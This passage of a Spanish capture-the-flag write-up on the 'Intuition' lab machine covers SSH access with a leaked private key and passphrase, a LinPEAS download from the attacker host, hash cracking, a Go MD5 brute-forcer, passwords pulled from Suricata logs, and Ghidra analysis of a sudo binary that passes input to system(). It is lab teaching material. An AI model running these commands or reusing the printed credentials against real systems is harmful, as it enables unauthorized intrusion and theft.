YyJUQumFsZDRxaFCWSsGaTIdZSPzXm1lB0fu3fI1gaJ+73Aat9Z4+BrwxOrQeoSjj6nAJa
lPmLlsKmOE+50l+kB2OBuqssg0kQHgPmiI+TMBAW71WU9ce5Qpg7udDVPrbkFPiEn7nBxO
JJEKO4U29k93NK1FJNDJ8VI3qqqDy6GMziNapOlNTsWqRf5mCSWpbJu70LE32Ng5IqFGCu
r4y/3AuPTgzCQUt78p0NbaHTB8eyOpRwoGvKUQ10XWaFO5IVWlZ3O5Q1JB1vPkxod6YOAk
wsOvp4pZK/FPi165tghhogsjbKMrkTS1+RVLhhDIraNnpay2VLMOq8U4pcVYbg0Mm0+Qeh
FYsktA4nHEX5EmURXO2WZgQThZrvfsEK5EIPKFMM7BSiprnoapMMFzKAwAh1D8rJlDsgG/
Lnw6FPnlUHoSZU4yi8oIras0zYHOQjiPToRMBQQPLcyBUpZwUv/aW8I0BuQv2bbfq5X6QW
1VjanxEJQau8dOczeWfG55R9TrF+ZU3G27UZVt4mZtbwoQipK71hmKDraWEyqp+cLmvIRu
eIIIcWPliMi9t+c3mI897sv45XWUkBfv6kNmfs1l9BH/GRrD+JYlNFzpW1PpdbnzjNHHZ3
NL4dUe3Dt5rGyQF8xpBm3m8H/0bt4AslcUL9RsyXvBK26BIdkqoZHKNyV9xlnIktlVELaZ
XTrhQOEGC4wqxRSz8BUZOb1/5Uw/GI/cYabJdsvb/QKxGbm5pBM7YRAgmljYExjDavczU4
AEuCbdj+D8zqvuXgIFlAdgen8ppBob0/CBPqE5pTsuAOe3SdEqEvglTrb+rlgWC6wPSvaA
rRgthH/1jct9AgmgDd2NntTwi9iXPDqtdx7miMslOIxKJidiR5wg5n4Dl6l5cL+ZN7dT/N
KdMz9orpA/UF+sBLVMyfbxoPF3Mxz1SG62lVvH45d7qUxjJe5SaVoWlICsDjogfHfZY40P
bicrjPySOBdP2oa4Tg8emN1gwhXbxh1FtxCcahOrmQ5YfmJLiAFEoHqt08o00nu8ZfuXuI
9liglfvSvuOGwwDcsv5aVk+DLWWUgWkjGZcwKdd9qBbOOCOKSOIgyZALdLb5kA2yJQ1aZl
nEKhrdeHTe4Q+HZXuBSCbXOqpOt9KZwZuj2CB27yGnVBAP+DOYVAbbM5LZWvXP+7vb7+BW
ci+lAtzdlOEAI6unVp8DiIdOeprpLnTBDHCe3+k3BD6tyOR0PsxIqL9C4om4G16cOaw9Lu
nCzj61Uyn4PfHjPlCfb0VfzrM+hkXus+m0Oq4DccwahrnEdt5qydghYpWiMgfELtQ2Z3W6
XxwXArPr6+HQe9hZSjI2hjYC2OU=
-----END OPENSSH PRIVATE KEY-----
Guardo la key como found_id_rsa
y le asigno permisos de ejecución con chmod 600 found_id_rsa
.
El problema es que esta key es para algún usuario, ¿pero qué usuario? Dado que tenemos la passphrase de la key podemos ver detalles de la key usando ssh-keygen
junto con las flags -y
y -f
para obtenerlas:
❯ ssh-keygen -y -f found_id_rsa
Enter passphrase:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local
De manera que esta es una key para el usuario dev_acc
.
Podemos entonces usar esta key para tratar de loguearnos a través de SSH
como el usuario dev_acc
proveyendo la passphrase Y27SH19HDIWD
:
❯ ssh -i found_id_rsa dev_acc@10.10.11.15
The authenticity of host '10.10.11.15 (10.10.11.15)' can't be established.
ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.15' (ED25519) to the list of known hosts.
Enter passphrase for key 'found_id_rsa':
dev_acc@intuition:~$ whoami
dev_acc
y obtener la flag de usuario.
Root Link to heading
Para obtener algunas pistas para la escalada de privilegios decido subir LinPEAS
(el cual puede ser descargado desde su repositorio de Github) con wget
luego de iniciar un servidor temporal Python
HTTP
en el puerto 8000
. En mi máquina de atacante, corro:
❯ ls && python3 -m http.server 8000
linpeas.sh
Y en la máquina víctima, pasamos el binario y lo ejecutamos:
dev_acc@intuition:~$ wget http://10.10.16.6:8000/linpeas.sh -O /tmp/linpeas.sh
--2024-05-27 20:35:44-- http://10.10.16.6:8000/linpeas.sh
Connecting to 10.10.16.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘/tmp/linpeas.sh’
/tmp/linpeas.sh 100%[=======================================================================================>] 827.94K 192KB/s in 4.6s
2024-05-27 20:35:49 (180 KB/s) - ‘/tmp/linpeas.sh’ saved [847815/847815]
dev_acc@intuition:~$ chmod +x /tmp/linpeas.sh
dev_acc@intuition:~$ /tmp/linpeas.sh
Luego de correrlo, soy capaz de ver algunos archivos de bases de datos:
<SNIP>
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /var/lib/command-not-found-backup/commands.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 881, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 3, database pages 6, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/www/app/blueprints/auth/users.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 18, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for 18
Found /var/www/app/blueprints/report/reports.db: SQLite 3.x database, last written using SQLite version 3034001, file counter 73, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 73
-> Extracting tables from /var/lib/command-not-found-backup/commands.db (limit 20)
-> Extracting tables from /var/lib/fwupd/pending.db (limit 20)
-> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
-> Extracting tables from /var/www/app/blueprints/auth/users.db (limit 20)
-> Extracting tables from /var/www/app/blueprints/report/reports.db (limit 20)
<SNIP>
donde puedo ver una base de datos SQLite
.
Tratamos de leerla:
dev_acc@intuition:~$ cd /var/www/app/blueprints/auth/
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>
Encontramos 2 hashes para los usuarios admin
y adam
.
Guardo ambos hashes en mi máquina de atacante en un archivo llamado hashes_found
:
❯ cat hashes_found
sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43
Ahora trato de crackear estos hashes a través de un Brute Force Password Cracking
con Hashcat
. Busco por hashes de ejemplo para Hashcat y puedo ver que el modo 30120
calza con el de nuestros hashes (además, la descripción para este modo/hash es Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) *
, lo cual calza con el servicio Flask
hallado previamente). Por ende, corremos:
❯ hashcat hashes_found /usr/share/wordlists/rockyou.txt -m 30120 -O
<SNIP>
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Approaching final keyspace - workload adjusted.
<SNIP>
Donde somos capaces de hallar una contraseña adam gray
.
Reviso por otros usuarios en esta máquina. Tenemos otros 2 usuarios llamados lopez
y adam
, pero esta contraseña no nos sirve para pivotear a estos usuarios:
dev_acc@intuition:/var/www/app/blueprints/auth$ ls /home
adam dev_acc lopez
dev_acc@intuition:/var/www/app/blueprints/auth$ su lopez
Password:
su: Authentication failure
dev_acc@intuition:/var/www/app/blueprints/auth$ su adam
Password:
su: Authentication failure
De la intrusión, y también del output de LinPEAS
, recuerdo que el servicio FTP
estaba corriendo en esta máquina. Si tratamos de loguearnos como el usuario adam
y usamos la password crackeada, tenemos:
dev_acc@intuition:/var/www/app/blueprints/auth$ ftp adam@localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Estas credenciales funcionan para el servicio FTP
.
Revisando qué es lo que tenemos dentro de este servicio, encontramos algunos archivos de respaldo:
ftp> ls
229 Entering extended passive mode (|||52591|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||49375|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||47211|).
125 Data connection already open. Transfer starting.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp>
Encontramos archivos. Nos descargamos estos archivos:
ftp> mget .
mget run-tests.sh [anpqy?]? y
229 Entering extended passive mode (|||46833|).
125 Data connection already open. Transfer starting.
100% |******************************************************************************************************************************| 318 295.19 KiB/s 00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (199.32 KiB/s)
mget runner1 [anpqy?]? y
229 Entering extended passive mode (|||44975|).
150 File status okay. About to open data connection.
100% |******************************************************************************************************************************| 16744 9.13 MiB/s 00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (7.20 MiB/s)
mget runner1.c [anpqy?]? y
229 Entering extended passive mode (|||49583|).
150 File status okay. About to open data connection.
100% |******************************************************************************************************************************| 3815 2.28 MiB/s 00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (1.87 MiB/s)
Una vez descargado, si revisamos el contenido del script run-test.sh
descargado, tenemos un script en Bash
:
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
Este script simplemente corre el archivo runner1
con el argumento/comando list
.
La última línea se ve interesante dado que se ve como un tipo de autenticación.
Leyendo el archivo runner1.c
tenemos:
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}
struct dirent *entry;
int playbookNumber = 1;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}
closedir(dir);
}
void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
int auth_required = 0;
char auth_key[128];
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}
if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}
if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}
struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}
closedir(dir);
if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
Este script aparentemente compara el hash MD5
con el argumento de la flag -a
cuando el comando install
es usado.
El comentario #define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
define el hash MD5
para autenticarse, el cual debe de ser igual al de la password/string UHI75GHI****
. De manera que podemos tratar de encontrar este hash por fuerza bruta.
Dado que un script en Python
podría ser muy lento para tratear de crackear un hash por fuerza bruta, decido crear un script en Go
para hacerlo. El script es:
package main
import (
"crypto/md5"
"encoding/hex"
"fmt"
)
// Calculate MD5 hash
func getMD5Hash(text string) string {
hash := md5.Sum([]byte(text))
return hex.EncodeToString(hash[:])
}
// Brute force MD5 hash
func bruteForceMatch(pattern string, targetHash string, position int) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789|\\@#%&/()=?_.,"
if position >= len(pattern) {
if getMD5Hash(pattern) == targetHash {
return pattern
}
return ""
}
if pattern[position] != '*' {
return bruteForceMatch(pattern, targetHash, position+1)
}
for _, char := range charset {
newPattern := pattern[:position] + string(char) + pattern[position+1:]
result := bruteForceMatch(newPattern, targetHash, position+1)
if result != "" {
return result
}
}
return ""
}
// Main
func main() {
targetHash := "0feda17076d793c2ef2870d7427ad4ed" // Auth hash
pattern := "UHI75GHI****" // String to find
result := bruteForceMatch(pattern, targetHash, 0)
if result != "" {
fmt.Printf("Match found: %s\n", result)
} else {
fmt.Println("No match found.")
}
}
Al correr este script, éste rápidamente nos retorna:
❯ go run main.go
Match found: UHI75GHINKOP
De manera que tenemos un código de autenticación UHI75GHINKOP
.
Decido revisar qué es lo que esta aplicación trata de instalar cuando lo llamamos. Para ello, como ya es usual, empezamos un listener con netcat
en el puerto 8000
. En la máquina víctima entonces ejecutamos:
dev_acc@intuition:/tmp/temp$ ./runner1 install http://10.10.16.6:8000/ -a UHI75GHINKOP
Starting galaxy role install process
- downloading role from http://10.10.16.6:8000/
y en mi listener con netcat
obtengo:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 51002
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.6:8000
User-Agent: ansible-galaxy/2.10.8 (Linux; python:3.11.0)
Connection: close
De manera que Ansible Galaxy
está tratando de instalar algo.
Ansible Galaxy
is a galaxy website where users can share roles and to a command-line tool for installing, creating, and managing roles. Ansible Galaxy
gives greater visibility to one of Ansible’s most exciting features, such as application installation or reusable roles for server configurationVolviendo a revisar el output de LinPEAS
tenemos:
<SNIP>
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/var/www/app/blueprints/auth/users.db
/var/log/kern.log
/var/log/auth.log
/var/log/syslog
/var/log/laurel/audit.log.8
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log.3
/var/log/laurel/audit.log.9
/var/log/laurel/audit.log.5
/var/log/laurel/audit.log.6
/var/log/laurel/audit.log
/var/log/laurel/audit.log.7
/var/log/laurel/audit.log.4
/var/log/laurel/audit.log.2
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system@b03da3a0958940309fbfcf7acfe4ac92-0000000000064aa6-0006197584a8f306.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/user-1001.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system.journal
/var/log/suricata/eve.json
/var/log/suricata/stats.log
/var/log/nginx/access.log
/home/dev_acc/.gnupg/pubring.kbx
/home/dev_acc/.gnupg/trustdb.gpg
/home/dev_acc/snap/lxd/common/config/config.yml
<SNIP>
Puedo ver un servicio Suricata
corriendo:
Suricata
is an open-source detection engine that can act as an intrusion detection system (IDS) and an intrusion prevention system (IPS). It was developed by the Open Information Security Foundation (OSIF) and is a free tool used by enterprises, small and large.Suricata
es una herramienta para detectar intrusiones y analizar el tráfico dentro de la máquina.Esto significa que este servicio podría contener usuarios y/o contraseñas. Visitando /var/log/suricata
puedo ver algunos archivos:
dev_acc@intuition:~$ ls -la /var/log/suricata/
total 127208
drwxr-xr-x 2 root root 4096 May 27 17:46 .
drwxrwxr-x 12 root syslog 4096 May 27 17:46 ..
-rw-r--r-- 1 root root 80670968 May 27 22:07 eve.json
-rw-r--r-- 1 root root 16630665 May 27 17:46 eve.json.1
-rw-r--r-- 1 root root 5760612 Oct 26 2023 eve.json.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 eve.json.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r-- 1 root root 0 Apr 29 18:27 eve.json.1-2024052717.backup
-rw-r--r-- 1 root root 214743 Oct 28 2023 eve.json.5.gz
-rw-r--r-- 1 root root 5050595 Oct 14 2023 eve.json.7.gz
-rw-r--r-- 1 root root 972578 Sep 29 2023 eve.json.8.gz
-rw-r--r-- 1 root root 0 May 27 17:46 fast.log
-rw-r--r-- 1 root root 0 May 27 17:46 fast.log.1
-rw-r--r-- 1 root root 0 Oct 26 2023 fast.log.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 fast.log.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r-- 1 root root 0 Apr 29 18:27 fast.log.1-2024052717.backup
-rw-r--r-- 1 root root 20 Oct 26 2023 fast.log.5.gz
-rw-r--r-- 1 root root 1033 Oct 8 2023 fast.log.7.gz
-rw-r--r-- 1 root root 1485 Sep 28 2023 fast.log.8.gz
-rw-r--r-- 1 root root 8119002 May 27 22:07 stats.log
-rw-r--r-- 1 root root 7720141 May 27 17:46 stats.log.1
-rw-r--r-- 1 root root 4293890 Oct 26 2023 stats.log.1-2024040114.backup
-rw-r--r-- 1 root root 0 Apr 8 14:19 stats.log.1-2024042213.backup
-rw-r--r-- 1 root root 0 Apr 22 13:26 stats.log.1-2024042918.backup
-rw-r--r-- 1 root root 0 Apr 29 18:27 stats.log.1-2024052717.backup
-rw-r--r-- 1 root root 73561 Oct 28 2023 stats.log.5.gz
-rw-r--r-- 1 root root 376680 Oct 14 2023 stats.log.7.gz
-rw-r--r-- 1 root root 67778 Sep 29 2023 stats.log.8.gz
-rw-r--r-- 1 root root 1218 May 27 17:46 suricata.log
-rw-r--r-- 1 root root 25296 May 27 17:46 suricata.log.1
-rw-r--r-- 1 root root 3893 Oct 26 2023 suricata.log.1-2024040114.backup
-rw-r--r-- 1 root root 68355 Apr 8 14:19 suricata.log.1-2024042213.backup
-rw-r--r-- 1 root root 95100 Apr 22 13:26 suricata.log.1-2024042918.backup
-rw-r--r-- 1 root root 26145 Apr 29 18:27 suricata.log.1-2024052717.backup
-rw-r--r-- 1 root root 990 Apr 1 14:50 suricata.log.5.gz
-rw-r--r-- 1 root root 1412 Oct 19 2023 suricata.log.7.gz
-rw-r--r-- 1 root root 5076 Oct 8 2023 suricata.log.8.gz
donde puedo ver algunos archivos .log
y .gz
.
Buscando por el usuario lopez
con grep
en este directorio retorna algo:
dev_acc@intuition:~$ grep -i "lopez" /var/log/suricata/ 2>/dev/null
Pero para ver mejor cuál es el match, podemos usar zgrep
(el cual es grep
para archivos comprimidos) y obtener así:
dev_acc@intuition:~$ zgrep -i "lopez" /var/log/suricata/*.gz 2>/dev/null
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
donde Lopezz1992%123
se ve como una contraseña.
Reviso si estas credenciales son válidas por SSH
usando la herramienta NetExec
; y funcionan:
❯ netexec ssh 10.10.11.15 -u 'lopez' -p 'Lopezz1992%123'
SSH 10.10.11.15 22 10.10.11.15 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH 10.10.11.15 22 10.10.11.15 [+] lopez:Lopezz1992%123 (non root) Linux - Shell access!
De manera que tenemos credenciales: lopez:Lopezz1992%123
.
Me conecto entonces a través de SSH
como este usuario:
❯ sshpass -p 'Lopezz1992%123' ssh -o stricthostkeychecking=no lopez@10.10.11.15
lopez@intuition:~$ whoami
lopez
Reviso qué es lo que puede ejecutar este usuario con sudo
:
lopez@intuition:~$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
Donde tenemos un archivo /opt/runner2/runner2
. Debido a su nombre, puede que éste sea algo así como una segunda versión del binario runner1
(el archivo previamente hallado en el recurso FTP
).
Corriendo este archivo nos muestra:
lopez@intuition:/opt/runner2$ ./runner2
Usage: ./runner2 <json_file>
El cual parece ser levemente diferente del binario runner1
.
Pasamos el binario runner2
desde la máquina víctima a nuestra máquina de atacante para analizarlo. Ahora realizaremos un poco de Reverse Engineering
con Ghidra
. Analizando la función main
tenemos:
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
FILE *__stream;
long lVar2;
int *piVar3;
int *piVar4;
char *pcVar5;
undefined8 uVar6;
DIR *__dirp;
dirent *pdVar7;
int local_80;
char *local_78;
if (param_1 != 2) {
printf("Usage: %s <json_file>\n",*param_2);
return 1;
}
__stream = fopen((char *)param_2[1],"r");
if (__stream == (FILE *)0x0) {
perror("Failed to open the JSON file");
return 1;
}
lVar2 = json_loadf(__stream,2,0);
fclose(__stream);
if (lVar2 == 0) {
fwrite("Error parsing JSON data.\n",1,0x19,stderr);
return 1;
}
piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
}
else {
piVar4 = (int *)json_object_get(piVar3,"action");
if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
}
else {
pcVar5 = (char *)json_string_value(piVar4);
iVar1 = strcmp(pcVar5,"list");
if (iVar1 == 0) {
listPlaybooks();
}
else {
iVar1 = strcmp(pcVar5,"run");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {
fwrite("Invalid \'num\' value for \'run\' action.\n",1,0x26,stderr);
}
else {
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
perror("Failed to open the playbook directory");
return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
}
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'run\' action.\n",1,0x38,stderr);
json_decref(lVar2);
return 1;
}
iVar1 = strcmp(pcVar5,"install");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
json_decref(lVar2);
return 1;
}
fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
}
}
}
LAB_00101db5:
json_decref(lVar2);
return 0;
}
Básicamente, este archivo primero revisa qué argumento ha sido pasado al binario, o nos muestra el mensaje que se nos presentó cuando lo ejecutamos. Luego trata de abrir un archivo JSON
y parsear su contenido. Luego de ello, busca por la key run
, dentro del archivo JSON
, y también por la llave/parámetro action
. La llave action
tiene 3 opciones: list
, run
o install
. Los comandos run
e install
necesitan de una clave de autenticación, la cual asumo es la misma que la del binario runner1
. Adicionalmente, el parámetro install
necesita de otra key/parámetro dentro de la key run
, llamado role_file
y auth_code
(fuera de la key run
) en el archivo JSON
.
Del código revertido, si pasamos un Role File, éste ejecuta la función installRole
definida en el binario como:
void installRole(undefined8 param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = isTarArchive(param_1);
if (iVar1 == 0) {
fwrite("Invalid tar archive.\n",1,0x15,stderr);
}
else {
snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
system(local_418);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Primero, esta función revisa que el archivo pasado sea un archivo tar
